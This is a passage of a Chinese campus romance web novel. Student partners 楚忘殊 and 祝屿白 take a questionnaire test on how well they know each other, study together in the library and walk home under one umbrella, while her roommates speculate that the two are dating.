“问卷是和你们之前的一样的,”他顿了顿,扫过下面坐着的人,在他们期待的目光下,他开了口:“但有一点不同的是,这次填的对象不是自己,而是你这节课的搭档。”
尹老师抬手看看表,还像挂在墙上的钟核对一遍,怕自己的手表出错,“现在距离下课还有四十分钟,完全够了,这个问卷很简单,开始吧。”
楚忘殊脑子里绷紧的弦啪唧一声断了……
让她填祝屿白的喜好?
大脑突然变空白,她好像……不知道。
她坐在最后一排,问卷从第一排往后传。
直至拿到问卷的那一刻,她的大脑还没法思考。
机械地低头去问卷:
1、TA的眼睛是什么样的?
2、TA有没有什么独特的习惯?请具体说明。
3、TA在什么状态下最喜欢被拥抱?
4、TA身上哪一点是别人很少夸赞,但你认为很珍惜的?
5、TA身上有独特的味道吗?
6、TA如果有一部个人纪录片,你会给影片取什么标题?
7、TA的口味是什么?
8、TA的口头禅是什么?
……
一共有五十道题,楚忘殊呆滞地往下看,越看越绝望。
和祝屿白认识了快半学期,这一刻,楚忘殊恍然发现,她好像一点都不了解他。
周围人都埋着头奋笔疾书,她握着笔,盯着问卷发呆,无从下笔。
墨水晕染出一片黑色印记,楚忘殊连忙抬起笔。
她看了眼第一排的祝屿白的背影,思考他能答成什么样。
深吸一口气,她开始动笔,硬着头皮写下去,却越写越心虚。
这根本不是在答题,而是在胡编乱造。
此刻她脑海里只有两个想法。
一是老师能看在她字多的份上给点辛苦分;二是向祝屿白赔礼道歉,她又拖了一次后腿。
下课铃声响起。
第一排的学生起来收,楚忘殊着急忙慌地尽量多写点。
赶在收问卷的学生到达前,她写下了最后一个句号。
手酸得要死,她麻木地靠在桌子上。
这一顿操作下来,比她熬夜复习一个周还累。
她双眼无神,一心只想着这次她不会零分吧?
桌子被人敲了敲,她直起身,往回看,才发现是祝屿白。
她站起来让他进去,随后继续趴在桌子上,脸放在胳膊上,头偏向祝屿白那边,轻声问:“祝屿白,我好像不怎么了解你。”
他身形一顿,微微歪头,两人视线
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对上。
楚忘殊:“这次问卷的题目,我很多都答不上来。”
她苦着脸,绝望地加了一句:“不,不是很多,是非常多。”
“对不起啊,我好像又拖你后腿了。”
她很内疚,之前聊天作业,还可以安慰自己分很少,没关系。
但现在,是期中考试,占比绝对很高。
他们,真的会因为她分很低。
“我也有很多不确定,”祝屿白忽然说,他移开视线,云淡风轻道:“所以,我们扯平了。”
说完一顿,笑着看向她,“你不会又在想拖我后腿了吧?”
心思被拆穿,楚忘殊一噎,嘴硬地小声嗫嚅了句:“才没有。”
祝屿白轻笑,“嗯,没有就好。”
“楚忘殊,”他似乎很喜欢喊她的名字,她循声回头,就见他手撑着头,眼睛氤氲在光晕里,看向她,“我们是搭档,没有谁拖累谁。”
听他这么说,楚忘殊心情好了点,“真的吗?”
“当然。”
“我是说你也不确定那句。”楚忘殊执着地想要问个答案。
如果祝屿白也不了解她,那她似乎就没那么大的内疚感了。
这样才算真的扯平。
祝屿白一愣,最终还是点了头,“当然。”
楚忘殊笑开,终于放下心来。
她刚想和他讨论下尹老师会不会给点辛苦分,她写了那么多字,没功劳也有苦劳吧。顺便再问问,这些问卷又没标准答案,给分都很主观,尹老师不会很严格吧?
还没开口,上课铃就响了。
楚忘殊缩回去,视线回到讲台上。
“是不是很简单?”尹老师便翻问卷便笑着问。
“不简单。”地下乌泱泱的人异口同声答道。
尹老师故作惊讶地抬头,“这还不简单啊?那下次就让你们写个名字就满分可以吗?”
“行行行!”众人笑开,连忙答应。
尹老师好气又好笑:“你们这群小崽子,占便宜倒是应得很快。”
玩笑开够了,尹老师言归正传。
“相信大家都很关心这次的考试,我先说说成绩的占比,期中考试,也就是这次,占总成绩30%,期末占50%,剩下的平时分和小作业一共占20%。”
他拿了根粉笔,在黑板上写下,然后又换了支红色的,在“期末”两个字上画圈,强调道:“当然,期末的考核,前面说的也还算数——只要学期结束能脱单,这些就不用管,直接满绩。”
话音落地,大家又悉悉索索地讨论起来。
楚忘殊差点忘了这个规则。
以前她根本没想着要满绩,只求苟到个及格分就行。
但现在,她用余光瞄了眼祝屿白,肯定要追求个更高的分数。
这次考砸了,要不期末假装一下两人脱单了?
她突然觉得这个想法很可行。
情侣关系又不是什么能用机器测出的指标,到时候还不时全靠一张嘴,哦不,两张嘴——还得说服祝屿白。
想到这,她又有些惆怅。
祝屿白能答应和她成为情侣吗?
看起来他像很有原则的人,可能不愿意这样“弄虚作假”吧?
39. 搭子日记三十九
她移开目光,暂时没把这个想法说出来。
等期中成绩下来再说吧,虽然心里已经有数了,但总得撞撞南墙。
这门课可以先告一段落,接下来该考虑是如何复习,应对后面的考试。
想起自己之前开始复习后,连根笔芯都觉得好玩,一点不想复习的样子,楚忘殊叹了口气。
到底怎么样才能保持充沛的精力啊!!
她只差仰头长啸了。
眸光一转,她看向一旁拿着笔演算的祝屿白。
对噢,这么大个学霸坐在身边,何不问问这人是如何保持的?
她凑近他,“祝屿白,问你个问题。”
祝屿白停下笔,“什么问题?”
“你是怎么保持精力如此旺盛的,复习起来这么有效率?”
“好问题。”祝屿白转着笔,开始思考。
楚忘殊期待地等他的答案。
下一秒,她听到个冰冷异常的答案——
“天赋。”
楚忘殊:“……”
空气突然安静,祝屿白尴尬地咳了声,“冷笑话不好笑吗?”
楚忘殊:“好笑……”个屁。
她无力吐糟,没想到祝屿白这人居然是这样的。
继续趴在桌上了,她没了聊下去的冲动。
虽说他刚才说是冷笑话,但或许也是真的。
某些人生来,就带着某种天赋。
但她并不气馁,她还是坚定的勤奋论者。
或许天赋能让人走到终点,但勤奋也能,并且一路上的风景也许会更美好。
“我还有一个办法。”楚忘殊刚闭上眼睛,就听祝屿白道。
“说说看。”她来了兴趣,偏过头来。
“你和我,一起去图书馆自习。”
楚忘殊眼皮耷拉着,很认真地开始思考。
她一个人复习时,总忍不住去玩别的东西,就连一支笔芯都能玩半小时起步。
如果和祝屿白一起自习,有人监督那她应该会收敛一些?
再说,有这么大个学霸卷王在身边,她也会有点压力,不会再摸鱼了吧?
思来想去,她觉得这真是个好主意。
想完,她抬眼看向祝屿白,重重点头,“好,什么时候开始?”
祝屿白没想到她这么快就答应下来,愣了一秒才接话,“今晚就行,看你时间。”
楚忘殊立马去看自己的课表,打算和祝屿白的课表对照一下,找出两人能一起去自习的时间。
讲台上尹老师讲课讲得慷慨激昂,最后的两人偷偷摸摸地制定自习计划。
下课铃声响,两人的计划也完成了。
一比较下来,楚忘殊才发现两人几乎只有晚上才有时间。
白天的课要么是祝屿白在上课,她休息,要么是她上课,祝屿白休息。
“行,那今晚六点到图书馆门口集合?”
“好。”
下课时间到了,她这周待会还有课,她赶忙收拾东西,一股脑丢到书包里拉好拉链,她利落地背好舒书包。
“哎,这节课老师没布置作业吗?”她已经起身离开,又猛地折返,没想到祝屿白也站起身了,一下没注意撞在一起,差点没站稳,还是祝屿白伸出手拉了她一下,她才借力站好。
上课她只顾着对课表了,没注意听课。
刚才才想起来,她好像还不知道这节课的作业。
“这次没作业。”祝屿白的声音飘下来。
楚忘殊哦了句,原来是没有啊,怪不得她没印象。
“那晚上图书馆见,拜拜。”她向祝屿白道了别,转身挤入缓慢流动的人流,赶往下一节课。
今天下课她满课,上完所有课,她只觉得天空都变暗了很多,挤满雾蒙蒙的阴云。
草草对付一顿晚饭,她看了一眼时间。
和祝屿白约定的时间快到了。
她回宿舍拿了个充电宝,怕待会手机没电。
刚出门,就和回来的宋词撞个正着。
“月亮,你去哪?你晚上不是没课了吗?”宋词上下扫视了一圈她的全副武装,用十分不确定的语气问道。
“我去图书馆自习。”楚忘殊解释道。
宋词张大嘴巴,“你被韩霜传染了?”
去图书馆自习这件事,放在韩霜身上很合理,但对象换成楚忘殊,就有点诡异了。
毕竟,从大一开始,她去图书馆的次数屈指可数。
楚忘殊:“……我就不能是觉醒了热爱学习的天赋吗?”
宋词不语,只是憋着笑。
楚忘殊:“……”
“我真走了,晚上见。”见她不信,楚忘殊也懒得再多费口舌。
说完,在宋词的注视下,她的身影消失在楼梯拐角。
宋词站在原地,还是一副无法置信的样子。
她捞出手机,想要问问韩霜看楚忘殊是不是去图书馆了。
下一秒,她忽然想到,现在是期中周,韩霜复习反倒不喜欢去图书馆,而是随机找一间空教室。
她的理由是这几周的图书馆,人太多,妨碍她大脑运转。
想到这,她只好作罢,独自推门进宿舍,坐下拿起了本书看。
宿舍空荡荡的,所有人都出去复习了,她一个人玩,有点良心不安。
五点五十八分,楚忘殊准时出现在图书馆大楼门口。
她没看到祝屿白,刚想给他发消息,他的消息先弹出:【ZYB:门口人太多,我先进自习室了,在235。】
江大的自习室每张桌子旁边都有编号,需要在楼下大厅扫码占座。
祝屿白在235号,那他对面就是236号。
这会儿门口的人流量很多,楚忘殊似乎有点懂了他为什么不在这等她。
就他往这一站,绝对引来很多人围观。到时候人堵在这,可能得被人骂死。
扫完码,她乘坐电梯上了四楼。
已进入自习室,明显感受到和外界的不同。
里面像个真空的空间,所有的声音都被吸干,安静得落针可闻。
她循着桌上得编号,找到祝屿白对面坐下。
她没说话,只向他笑了笑,怕打扰到别人学习。
用纸巾擦完桌子,她开始掏出书复习。
自习室内浓重的学习氛围,让她一开始卯足了劲,复习起来得心应手。
可渐渐的,她的劲头开始疲软,注意力不知不觉就飘到九霄云外。
左边那个同学似乎在思考一道难题,楚忘殊看见她的草稿都写了整整一页,还在咬着笔思考;右边那个同学好像在背单词,嘴里无声地重复着,不时在纸上写写画画;后边是窗外,这会儿正好飞过一只通身雪白的小鸟,啄了啄玻璃,似乎才发现这玩意咯牙,转身往天空飞走;前面……祝屿白正一眨不眨地盯着她。
他斜靠在椅子上,手里快速地转着笔,楚忘殊都担心他笔转飞出去……
看见她看向
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他,他眼神在她和她面前的书来回,好似在提醒她:看些什么有的没的,看书啊。
楚忘殊瘪瘪嘴,将书拉过来,注意力集中在上面,开始复习。
对面的那股视线还没移开,楚忘殊努力控制自己不要抬头,不然又让他觉得她开始分心了。
看着看着,她竟然也觉得这书有趣起来,心思渐渐不关心那股灼热的视线了。
等她回过神来,才猛然发觉她已经专心地复习了快两个消失。
窗外已经全黑下来,室内开着灯,光线变化不大,她才没察觉。
她舒展了下胳膊,看向祝屿白。
他正低头看书,没看过的页码只剩下薄薄的几页。
楚忘殊看得目瞪口呆,这才期中吧?这人就已经复习玩一整本书了?
想想自己刚才的复习和预习没什么差别,不仅感叹人与人之间的差距。
不过今晚也多亏了祝屿白,她算吸收到了点知识,不然的话她可能会坐在这里玩两小时的手机。
图书馆十点闭馆。
随着浩浩荡荡的大军出门时,楚忘殊第一次见到这里十点的景色。
从门口向前看,前面是一大片草坪,五星红旗在风中猎猎作响。
远方高楼闪烁着五颜六色的灯光,为浓墨般的天空染上色,好似一副油画。
她微微垂眼平视前方,却猛然发现前面的人都在撑伞。
雨点砸向地面的声音终于在她耳边响起。
下雨了。
所以她下午看到的阴云,感情不是烘托她上课累成狗的气氛,而是真的要下雨的节奏啊!!
好嘛,果然她就不适合伤春悲秋那一套。
她发现一个更悲惨的事——她没带伞。
她走出去了些,判断下她不打伞跑回宿舍不淋湿的可能性有多大。
结果发现,这个可能和石头缝里蹦出人一样小。
“你带伞了吗?”此刻她只能寄希望于唯一一个人。
祝屿白抿唇,“没。”
楚忘殊大失所望,看来今晚注定是要淋雨回去了。
算了,淋雨就淋雨吧。
她刚想冲进雨里,就被祝屿白一把拉住,“你想跑回宿舍?”
“不然呢?”
祝屿白:“等几分钟,我叫我舍友给我送伞来了。淋雨跑回去,你还想发烧吗?”
他的话提醒了楚忘殊,对哦,她也可以让宋词她们给她送伞来。
她刚打开手机,祝屿白就道:“待会我送你回去,不用麻烦你舍友了。”
她看了眼越下越大的雨,溅起的水几乎全吧裤脚打湿了。
闻言放下手机,这会儿她们可能都洗完澡躺在床上了,确实不适合再叫她们送伞。
“你的伞来了,我正在打晋级赛呢,还要抽空来给你送……”宋然絮絮叨叨的,话里满是对祝屿白的不满。
走进两人,看到祝屿白旁边站着的楚忘殊,他吐槽的话才停下,眼神在两人之间来回扫视。
“楚忘殊?我没记错吧,好久不见啊。”宋然忽略掉一旁的祝屿白,径直给楚忘殊打招呼。
楚忘殊笑笑:“好久不见。”
宋然一把将手里的伞扔给祝屿白,“他的伞比较大,你们俩撑一把吧,我就先回去了。”
说完,他又朝祝屿白喊了句,“祝屿白你好好送人家回去啊。”话音落地,他身影消失在雨幕中。
祝屿白撑开伞,看向楚忘殊,“走吧,伞分你一半。”
40. 搭子日记四十
雨越下越大,大颗大颗的雨点落在伞上,砸出巨大的声响。
祝屿白的伞刚好够两人躲,但此刻刮起风,把雨点吹进来,两人的肩膀都有些湿。
往常图书馆到宿舍楼这段路,走起来几分钟就到了。
但此刻,却感觉永远看不到尽头。
雨洋洋洒洒地飘下,路上积水变深。
偶尔经过一个坑洼,溅起的水恨不得全附上路人的鞋。
冷风嗖嗖地挂着,楚忘殊冷得抖了一下。
伞下飘进来的雨点越来越多,她努力缩紧身子。
滴在肩上的雨点渐渐变少。
楚忘殊以为自己的动作有了效果,笑了下。
一抬头,才发现头顶上的伞已经偏向她大半。
她看向祝屿白,发现他手里伞柄歪了很大的幅度。
“祝屿白,伞打正。”她握上伞柄,将其扶正,轻声对他说。
不然按照他这个打伞法,他和淋雨有什么区别。
伞下的祝屿白先是一愣,随后明白她的意图,遵循她的想法打正。
“你过来,我换只手。”他出声道。
现在风向变了,雨水容易从她那边飘进来。
这次楚忘殊没再拒绝,快速地换了位置。
在滂沱大雨中,两人依偎着前行。
雨幕模糊了视线,两人身影隐没在行色匆匆的人流中。
终于,女生宿舍楼到了。
楚忘殊站在门口,大雨打不到的地方,发现祝屿白的整个肩膀都湿了。
“你快回去换身衣服吧,不要感冒了。”她交代完,转身进了楼内,“我先走了。”
一进门,宿舍楼那块区域都还有明显的水渍。
直到拐上楼梯间才稍好一些。
爬完四楼,楚忘殊推开宿舍门,一进去,程以凌和韩霜就围上来。
“月亮,你怎么才回来?外面这么大的雨,怎么给你发消息也不回?”
程以凌一股脑地抛出很多问题。
“啊?你们发消息给我了吗?”楚忘殊有点懵,她没收到她们的消息啊?
拿出手机一看,她尴尬地看了两人一眼,“咳咳,我好像把网断开了。”
下午为了注意力集中一些,她索性把手机的网断开,省得自己再被突然的消打扰,自习结束后,她就忘了打开……
三人面面相觑。
韩霜注意到她肩膀淋湿,连头发都滴着水滴,让她赶紧去换身衣服,先洗个热水澡再说其他。
经她这么一说,楚忘殊才发现她肩膀还湿着。
宿舍里开了空调,没有外面冷,但衣服黏黏糊糊的,一点也不舒服,她赶紧收拾东西进了浴室。
在她进去的下一秒,宋词回来了。
她趿拉着一双天蓝色拖鞋,一进来就探头问,“月亮呢?还没回来吗?我刚好像看到她了哎?”
“你扔个垃圾怎么这么久?”程以凌大开大合地靠着躺椅上,撕开棒棒糖的包装,尝了口才问道。
宋词头一扬,义正言辞地说:“当然是有事。”
“楼下贩卖机又有辣条了?”
宋词:“怎么猜得这么准?”
两人:“……”
也不知道是谁几个星期前扬言要减肥,拒绝一切的垃圾食品,甚至连宿舍一楼自动贩卖机里她最爱的辣条都不吃。
她们看着宋词嘴唇明显比平时红了一个度,开始调侃道:“哟,新买的口红吗?分享个链接?”
宋词:“……”
亏她还特意在楼下溜达了好久才上来,明明她都没有感觉到嘴唇辣了,为什么还是被看出来!
“哎,话题扯偏了,快点说,月亮回来了没?”她追问道。
程以凌指了指浴室:“回来了啊,在洗澡。”
宋词一脸“果然如此”的表情,呵呵笑个不停。
“你笑什么?”韩霜看她莫名其妙的脸色,丈二摸不着头脑。
“我刚在楼下看到月亮了。”
程以凌幽幽道:“她回宿舍,不从一楼来,难不成还能飞上来?这有什么好稀奇的。”
宋词一脸神神秘秘,吊着两人的胃口,“你们不想知道她和谁一起回来吗?”
程以凌和韩霜对了个眼神,同时看向宋词,等着她说。
宋词压低声音,“祝屿白。”
程以凌和韩霜眼睛微微张大,不确定地问:“真的假的?”
“当然是真的,我亲眼看到的好嘛!”
“你们说,这两人是不是在一起了?居然还耍起了送人回宿舍的这种小手段。”宋词振振有词,“你们看,女生宿舍楼下,出现过的男生,不都是送女朋友回来的吗?”
韩霜和程以凌点头同意。
宋词一拍手,“你看是吧,凭我多年嗑cp的经验,这两人绝对是谈上了!”
“对了对了,今天晚上你们才月亮为什么不在宿舍吗?”宋词就像侦探发现了新的强有力证据一样,双眼发亮,紧跟着说:“她说去图书馆自习!你们看她之前期末都没去过图书馆,这才期中,她就去了。而图书馆有谁——祝屿白啊!”
三人恍然大悟。
宋词叉着腰,坐在椅子上暗爽。
她可真是天才,推理得多合理啊!
浴室门开,楚忘殊从热气中走出来。
她头上还戴着干发帽,准备出来吹干。
刚走出来,她就感受到三人强烈的视线,紧紧黏在她身上。
“怎么了?”她放慢拿吹风机的动作,懵懵地问。
三人齐刷刷摇头,不约而同地低下头去忙自己的事。
楚忘殊莫名,还是先去吹了头发。
余下的三人,在她离开后,马上开始叽叽喳喳地讨论起来。
“直接问会很冒昧吗?”
“但不问我心痒。”
“真谈了的话,月亮会主动说吧?”
……
吹风机的响声停下,三人也立马停下话头,互相挤眉弄眼。
最后推出宋词为代表,开了口,“月亮,想问你件事可以吗?”
楚忘殊还在理头发,听到她的话奇怪地看了她一眼。
宋词怎么突然这么客气?以往她心直口快的,有时候让人很想把她毒哑。
“问呗。”
“你是不是在和祝屿白谈恋爱?”
这句话如同一声惊雷般在楚忘殊耳边炸开锅,她呆了几秒,蹙着眉头,“你在说什么?我怎么不知道?”
她脸上一
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片茫然,连手上的动作都忘了做,就那么僵在半空中。
“我刚下楼去买辣条偷吃,”宋词有些不好意思,轻咳了声,“然后就看见你和祝屿白撑一把伞回来。”
楚忘殊无语。
这么草率的吗?
“我没带伞,他让他舍友给他送了伞,那时候在图书馆我认识的只有他,不蹭他的伞回来,难不成顶着这么大的暴雨回来啊?”
“可是,你没注意到吗?祝屿白看你的眼神很不对劲,绝对不是简单看待同学的。”宋词观察着她的脸色,支支吾吾地说。
楚忘殊摊手,“对呀,我们是朋友啊,肯定和同学不一样。”
几乎是在她说话的同时,宋词补了句:“也不是看朋友。”
楚忘殊:“……”
话都让她说了,她还怎么反驳?
在她哑口无言之际,宋词再接着输出,“你不觉得祝屿白来选这节课就透露着古怪吗?”
“什么古怪?”楚忘殊不解。
选课,修学分,很合理啊。
“什么古怪?”程以凌和韩霜也跟着凑热闹,好奇地问,两人甚至在一旁嗑起了瓜子。
宋词无语地看了眼程以凌和韩霜,最后视线落在楚忘殊身上。
这话楚忘殊这木头脑袋问就算了,怎么那两货也跟着问?
她无声地叹口气,可真是好福气,这样的室友她竟然有三个。
“首先,你之前说你怕拖累祝屿白,要求换搭档的时候,他是不是说过他学分都修满了。所以他选这么可的目的是什么?完全没必要嘛,”宋词盯着楚忘殊,“所以,他唯一的目的就是要接近你。”
“再次,祝屿白一贯的形容词是什么——高冷,你想想看,他在你面前有高冷过吗?”宋词退回去了些,“就我看到的,他在你面前,完全和传闻里不是一个人。特别是他费尽周章地找我,只是因为你疑似生病没去上课。”
“还有还有……”宋词掰着手指头还想继续一一细数,楚忘殊一把阻止她,“停停停,这些我不是都解释过了吗?”
宋词:“你觉得你的解释站得稳吗?”
程以凌和韩霜齐刷刷点头,赞同宋词的说法。
“我有一个想法,可以验证祝屿白是不是喜欢你?”宋词扶着楚忘殊的椅子,逼近她,”要不要听?”
“说。”楚忘殊伸出手指头将她推远些,靠太久了,她不习惯。
“你们不是期中考试了吗?听你说的,就是考你们互相的了解程度。”
楚忘殊点头,“对。”
宋词:“那到时候看祝屿白的成绩,如果他分很高的话,说明他很了解你,那就证明我是对的。”
一听这话,楚忘殊简直要笑了。
她早就问过祝屿白,本人亲自说了考得不好,很多不确定。
她刚想开口,宋词已经开始摩拳擦掌,眼睛发亮,“敢不敢赌一下吗?”
楚忘殊好笑地看着她,“赌什么?”
“谁输了就给对方带一周的饭。”
楚忘殊还有点于心不忍,这场赌局,宋词是必输的结局,她好心地提醒:“没必要赌这么大吧?”
“月亮,你不敢吗?”
“我有什么不敢的,赌就赌。”
41. 搭子日记四十一
楚忘殊没将这个赌约放在心上。
在她看来,这个赌约完全没有悬念。
接下来的几天,她雷打不动地和祝屿白去图书馆自习。
有时候复习不下去,分心时,她会偷瞥一眼祝屿白,却发现他的注意力都在书上。
楚忘殊很满意,看这迹象,祝屿白和宋词口中他喜欢她的样子一点都不像。
烦人的期中考试周在头顶朝阳出发、背倚弯月回去的日子中平缓过去。
新的周一,楚忘殊艰苦的期中周终于结束。
她到教室后,还困得眼睛都张不开。
在最后一排坐下,她反应了几秒,才发现似乎有哪里不对。
机械地侧头,她才发现祝屿白还没来。
她不确定地揉揉眼,再三确认她没看错。
几秒后,她才接受了事实:祝屿白比她晚来。
她无聊地撑着下巴,刷着手机,心想祝屿白什么时候会来?
他遇到什么事了吗?这节课请假了?
还是说,他也想她上次那样,睡过头了?
她随意地滑动着页面,和以往一样充满夸张好奇的标题突然没了吸引力。
现在的她满脑子都是祝屿白这节课还来不来。
上课铃响起,她身边还空空荡荡。
看来祝屿白今天真不来了。
她有些怅然若失,习惯真是个可怕的东西。
祝屿白坐在她身边那么久,现在突然不来,她觉得心里闷闷的。
教室前门吱呀一声,有人推门而入。
楚忘殊努力坐直,伸长脖子看向门口。
进来的是尹老师。
她失望地低下头。
她打开微信列表,想看看有没有人会认识祝屿白,问问他怎么回事?难道生病了?
全部翻完一遍,她惊讶地发现——她居然连一个祝屿白朋友的联系方式都没有。
别说他朋友了,就连稍微和他沾点关系的人都没有。
“好了,放这里就行,你下去吧。”尹老师的声音在安静的教室里响起,格外瞩目。
楚忘殊循声抬头,却在讲台上看到了一个意想不到的人——祝屿白?
他怎么在台上。
讲桌上多了一大沓A4纸,似乎是刚放上去的。
结合尹老师刚才的那句话,不难判断出是祝屿白帮他抱过来。
原来是帮老师跑腿去了。
楚忘殊下意识松了口气,却又后知后觉,祝屿白怎么样跟她有什么关系?
来不及细想,因为祝屿白已经站在她旁边。
她立马站起来让他进去。
“今早我去教室休息室问我专业课老师问题,刚好碰到尹老师,他让我和他一起把上周的问卷带过来,今天就来晚了。”祝屿白边坐边低声向她解释。
楚忘殊:“噢。”
和她解释得这么详细干嘛?她也没那么笨,能猜出来。
“哎,那是上周我们的问卷?要发下来?”楚忘殊捕捉到他话里的关键信息,好奇地问。
考试的卷子一般都不会发下来,要送到档案馆封存的。
怎么尹老师这次居然要发下来。
祝屿白还没回答,讲台上的尹老师敲了敲黑板,举起一摞问卷,“这是你们上周写的问卷,我已经全部看完,并且打好分了。”
“总的来说,大部分同学回答得中规中矩,我给分自认为很宽松,所以只要擦点边我都算对。”尹老师扶了扶眼睛,扫视了一圈人群。
“现在把问卷拿下去,和自己队友交换看,看看你们互相的了解程度。”
地下的人一拥而上,翻找自己的问卷。
楚忘殊没急着上去,在座位上等了会,看到讲台上的人明显少了很多才上去。
本来祝屿白说他去拿,楚忘殊将他一把按住,“我去,你坐好。”
她想第一眼看看祝屿白的成绩,和宋词那个赌约,她可没忘记。
讲台上问卷被翻得横七竖八地躺在桌子上,还好祝屿白的字很显眼,她一眼就看到,巧的是她的问卷就紧挨着祝屿白。
两张一起拿起,她还没来得及看自己的分数,眼睛先瞄上到祝屿白的问卷上。
上面大大地写着“10”。
10分?
敢情他是一点都不了解自己啊。
不过她挺高兴的,至少证明自己的直觉是对的,顺便赢了宋词一周的带饭福利。
她神清气爽长舒一口气这才去看自己的——45分。
很好,自己胡编乱造的都比祝屿白的高,她更加坚信宋词猜测简直荒谬至极。
她心情大好,走回座位的路上就差哼首歌了。
快到座位的时候,她收敛了些,努力将自己疯狂上扬的嘴角压下。
祝屿白这人,恐怕这辈子都没考过“10”的作业,得好好想想该怎么安慰他。
别到时候打击了学神的自信心。
她坐下,表情凝重地将问卷递给他。
“别难过,这只是一次考……”楚忘殊安慰道,余光一直注意着他的神色。
结果他拿到问卷,只是淡淡扫了眼得分,就轻描淡写地放下。
哪里有半分的难过。
楚忘殊先坐不住了,“祝屿白,你才10分呢,你不觉得考太差了吗?”
为了让他有个显著的对别,她举起自己的问卷,“看到没?我45分。试卷是百分制的,不时十分制。”
她担心他太过习惯考满分,误把这次的考试当作是10分满分。
谁知祝屿白点点头,顺手接过她手里的卷子,“不错,都快接近一半了。”
说完,低头在她试卷上写着字。
楚忘殊被他这番操作打得措手不及,呆愣在原地。
不是,怎么和想象的完全不一样啊。
她呆愣的时间里,祝屿白已经写好,将问卷推到她面前。
他字迹很凌冽,即使是同一种颜色的笔写出来,也能一眼分辨出来。
楚忘殊视线落在上面,细看之下发现,他……似乎在给她纠错?
他在每一道她没得分或者扣了分的地方都写下了正确答案
“我喜欢薄荷口味,我最害怕的动物是青蛙,我有甜食依赖症……”祝屿白从她错的第一个题目开始,一个一个念出来,详细到她觉得,他在向她阐述他的整个人生。
“记住了吗?”说完,他抬眼看向她。
见她一脸懵,他笑了下,“记不住也没事,以后还有很多机会。”
他侧脸笑着望向她,她脑海里忽然冒出了宋词那句“别人对祝屿白的评价——高冷。”
她仔细想了下,恍然发现,祝屿白在她
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面前,似乎永远带着笑。
和他相识的每一个瞬间,她都没有感受过其他人说他身上自带的疏离感。
难不成,他真的喜欢她?
楚忘殊在心里想,她几乎要开口直接问了。
前排的学生靠在她们的桌子上,很近的距离。
这时候问,很容易被别人听到吧?
楚忘殊抿唇思考,可是他喜欢她的话,为什么问卷会得分这么低呢?
连人都不了解,谈何喜欢?
“你的问卷给我看看。”鬼使神差地,楚忘殊将他的问卷拽过来。
祝屿白行云流水的字体映入眼帘,她还记得最开始看到他字时的惊艳。
但现在,她直奔他写下的回答而去。
一个个问题和回答看下来,楚忘殊越看嘴角抿得越紧。
几乎所有的回答都很接近她本人的回答。
甚至一些答案,比她描述的感受还贴近感受。
如果不时姓名那栏明晃晃地写着“祝屿白”,她都要以为是自己写下的答案了。
她紧紧捏着问卷一角,不知该作何反应。
她心里有太多疑惑。
比如为什么他答得这么好,却才得10分?
比如为什么他那么了解她,甚至超过自己?
再比如,他是不是喜欢她?
最后一个想法冒出,楚忘殊几乎整个人浑身一颤。
她默默将问卷还给她,努力坐正,避免和他眼神接触。
“老师,你这评分标准是什么?只凭你个人的主观印象吗?”前排有人举手提问。
楚忘殊述职耳朵,头一次这么好学。
她也想知道,评分标准是什么?
“你们上周做的电子问卷是摆设吗?”尹老师听到提问,幽幽出声。
底下人恍然大悟,齐刷刷地拖着千回百转的“噢!”
一句话,将楚忘殊的疑惑瞬间解开。
她的电子问卷是别人帮她写的,完全是瞎填。以那个为参考,除非祝屿白是神算子才有可能得高分。
这个疑惑解开,剩下的两个问题就不算问题了。
祝屿白喜欢她,所以才对她那么了解。
普通的一个周一上午,楚忘殊确认祝屿白的喜欢。
意识到这个事实,她脑袋空白了片刻。
好像有人正在她脑海里吹泡泡,让她整个人都淹没在满是粉白色的世界里。
她深吸一口气,手指胡乱地绞着,刚想说话,头顶响起一道浑厚的声音,“楚忘殊同学?”
尹老师突然的声音把她吓一跳。
她刚才沉浸在自己的世界里,没注意到尹老师什么时候从讲台走到最后一排了。
“是我,老师。”楚忘殊答复。
尹老师指着祝屿白,“这是你搭档?”
“对。”楚忘殊点头,不明白他这么问的意图。
“你知道这次考试的最低分是多少吗?”尹老师还是笑眯眯的,说出的话却堪比零下八十度的寒冰。
楚忘殊突然有一个不详的预感,“不会……是他吧?”
“哎,对了,楚同学真聪明。”尹老师赞赏地看了她一眼,随后视线移到祝屿白身上,“祝同学,我记得第一节课,你说的选搭档理由是一见钟情啊,怎么现在对一见钟情的对象了解度只有10分啊?”
42. 搭子日记四十二
“老师,其实他……”楚忘殊想为祝屿白解释,不料刚开口,就被祝屿白打断,“是我没好好了解,老师,下次一定不犯这样的错误。”
尹老师靠着他们的桌子,缓缓点头,“嗯,祝同学,喜欢一个人可不能光耍耍嘴皮子,光看人小姑娘长得好看就莽上去。还记得我之前提问你选搭档的原因之后的话吗??”
祝屿白回答:“您问大家一见钟情是不是见色起意。”
尹老师笑了下,“记性挺好啊,现在还记得。”
他用食指和拇指撑在桌子上,镜片下温和的眼光看向祝屿白,“我知道,漂亮的皮囊当然有加分,但那不能作为支撑喜欢的唯一依据。审美是很私人的事,即使你还是你,或许未来的某一刻你看着同一张脸,明明之前喜欢得要死要活,看多了却发现不过尔尔。”
尹老师苦口婆心地说道。
经过半个多学期的相处,他大概了解了一点祝屿白,还有从吴教授的评价中,他知道祝屿白是个好孩子。
但人哪有十全十美,这小孩的配置太好了,或许让他的人生太顺,导致对喜欢没有正确的认识。
他想纠正这孩子一把,让他不要走向歧路。
祝屿白安静地听着,尹老师还没讲完,他就猜到了老师的用意。
“老师,我明白,还有我不会腻的。”
他喜欢还来不及,怎么会腻呢?
于他而言,只要和她在一起,他每天都会很惊奇地期待着。
尹老师没想到他会这么说,还愣了会儿。
他看向祝屿白坚定的眼神,一个念头在他心里升起:他的想法错了,眼前这孩子,很认真。
“对啊,老师您放心,我们会好好学,不会见色起意的。”楚忘殊慢悠悠地解释。
主要是尹老师在这里的存在感太强,无形中的压力倍增,楚忘殊只想赶紧附和着老师说完,让他先离开。
没想到她一出声,尹老师的注意力转向她。
“我很肯定,楚忘殊同学你不会见色起意的,你绝对不会只看脸。”
突如其来的夸赞打得楚忘殊措手不及,她有些疑惑,“老师您怎么看出来的?”
“还用看其他的吗?看你的分数就行了啊。”他边说边拿起桌上的楚忘殊的问卷,瞄一眼问卷,又瞄一眼旁边的祝屿白,“祝同学长得确实不赖啊,由此可见,楚同学你绝对不是见色起意的人。”
楚忘殊:“……”
“刚才你猜了这次考试的倒数第一,有没有兴趣再猜猜倒数第二是谁?”尹老师扬起他一贯的笑容,眼神锐利地看着楚忘殊,活脱脱一只笑面虎,又问道。
